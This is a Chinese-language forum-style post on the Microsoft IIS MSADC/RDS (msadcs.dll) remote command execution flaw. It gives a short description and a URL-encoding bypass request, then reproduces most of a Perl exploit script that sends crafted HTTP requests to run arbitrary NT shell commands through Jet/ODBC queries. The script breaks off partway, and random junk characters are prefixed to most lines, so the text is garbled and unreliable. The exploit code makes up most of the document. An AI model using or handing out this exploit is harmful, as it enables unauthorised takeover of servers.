IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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{a 涉及程序:
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Microsoft NT server
Q|O! cEW/ |Zn|?#F 描述:
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1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[KT'aGK$ D(m2^\O[ 详细:
lhyWlO 如果你没有时间读详细内容的话,就删除:
!@r1B`]j+" c:\Program Files\Common Files\System\Msadc\msadcs.dll
2}ttCm 有关的安全问题就没有了。
_aR_[ exnFy- 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
^o*$OM7x [|XMR=\> 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?_!} lg 关于利用ODBC远程漏洞的描述,请参看:
;Tn$c70 "-pQL )f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4t%g:9]vr g^V4+3v|a' 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Q1?0R<jOU http://www.microsoft.com/security/bulletins/MS99-025faq.asp k4:e0Wd 'mH9O 这里不再论述。
h7}D//~p /MErS< 6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
+E{'A7im8= jlf.~vt /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
?D6?W6@ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
c%5G3j :$>Co\D .??[qBOTE #将下面这段保存为txt文件,然后: "perl -x 文件名"
}bW"Z2^nB !c;Z<@ #!perl
#i8] f{ #
K%+[2Hj2 # MSADC/RDS 'usage' (aka exploit) script
q13bV #
8:x{ # by rain.forest.puppy
Q*W`mFul #
Y"x9B%e # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
gCVgL]jj( # beta test and find errors!
y)s+ /Teb ?gp:uxq,. use Socket; use Getopt::Std;
* [\H)L z getopts("e:vd:h:XR", \%args);
0""t`y& pCE,l'Xa print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&.>
2@ +zU[rhMk' if (!defined $args{h} && !defined $args{R}) {
0gI^GJN%Y! print qq~
}67lL~L Usage: msadc.pl -h <host> { -d <delay> -X -v }
baD`k?]( -h <host> = host you want to scan (ip or domain)
l(o#N'!j4 -d <seconds> = delay between calls, default 1 second
l"I
G;qO. -X = dump Index Server path table, if available
1Q&\y)@bT -v = verbose
ku@sQn -e = external dictionary file for step 5
doIcO,Q oj|\NlR Or a -R will resume a command session
qmWK8}F.cE 6`ZHFem ~; exit;}
vZDM}u QoGvjf3z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W[+=_B if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!9 B` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
5gdsV4DH$ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~^<ju6O' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9`A}-YA! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^#-i%V% tAI<[M@
if (!defined $args{R}){ $ret = &has_msadc;
D 7D:?VoR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|f:1Br 5uVSbo. print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7K 8tz} . "cmd /c ";
"sM
3NY $in=<STDIN>; chomp $in;
*J ]2"~_. $command="cmd /c " . $in ;
Ju0W ?)8OC(B8q if (defined $args{R}) {&load; exit;}
yX-h|Cr" NrHh(: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H pZD^h?L &try_btcustmr;
gc
ce]QS _iJ8*v8A print "\nStep 2: Trying to make our own DSN...";
lg9`Z>? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
9S.J%*F7 5IwQ<V print "\nStep 3: Trying known DSNs...";
WOv m%sX &known_dsn;
)IFzal}o 8Pkw'.r print "\nStep 4: Trying known .mdbs...";
C78V/{ &known_mdb;
Y(qyuS3h~* o7qZy |\4S if (defined $args{e}){
ai3wSUYJi print "\nStep 5: Trying dictionary of DSN names...";
i9QL}d &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'@{'T LMCi 2feiD?0 print "Sorry Charley...maybe next time?\n";
Vy-kogVt exit;
u_;&+o2 LD.^.4{c: ##############################################################################
/2<1/[# y; .U-}e1 sub sendraw { # ripped and modded from whisker
,KfBG<3 sleep($delay); # it's a DoS on the server! At least on mine...
?qdZ]M4e my ($pstr)=@_;
M%\=Fb socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VGHy|5K$ die("Socket problems\n");
A6 D@#(D if(connect(S,pack "SnA4x8",2,80,$target)){
\Y>!vh X select(S); $|=1;
%[ Z[ print $pstr; my @in=<S>;
l2AAEB_C. select(STDOUT); close(S);
@TvoCDeI return @in;
8[z<gxP`? } else { die("Can't connect...\n"); }}
K}r@O"6*\
A9?h*/$ ##############################################################################
/]_a\x5Ss ;RmL' sub make_header { # make the HTTP request
x]6wiV my $msadc=<<EOT
qoifzEc`U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|JR;E$ User-Agent: ACTIVEDATA
2tEA8F~k Host: $ip
^:(:P9h Content-Length: $clen
b<1k$0J6 Connection: Keep-Alive
AUan^Om %
T2C0P ADCClientVersion:01.06
UP8=V>T02 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5D~>Ed; :k-(%E]( --!ADM!ROX!YOUR!WORLD!
7AOjlC9R} Content-Type: application/x-varg
XDot3)2` Content-Length: $reqlen
"!fvEE Qd{h3K^hlu EOT
A#WvN> ; $msadc=~s/\n/\r\n/g;
SEL7,8 Hm return $msadc;}
|?kZfr&9q miq"3 ##############################################################################
gvoo1 Sa ThvVLK sub make_req { # make the RDS request
e%B;8)7 my ($switch, $p1, $p2)=@_;
Buv4&.Z} my $req=""; my $t1, $t2, $query, $dsn;
ZjOUk;H? Dd=iYMm7 if ($switch==1){ # this is the btcustmr.mdb query
ITq$8 $query="Select * from Customers where City=" . make_shell();
09r0Rb $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
jOE~?{8m $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`X =2Ff 5@:c6(5$ elsif ($switch==2){ # this is general make table query
{eQ')f $query="create table AZZ (B int, C varchar(10))";
pYtvenBy $dsn="$p1";}
-9L[eYn w`77E= elsif ($switch==3){ # this is general exploit table query
^<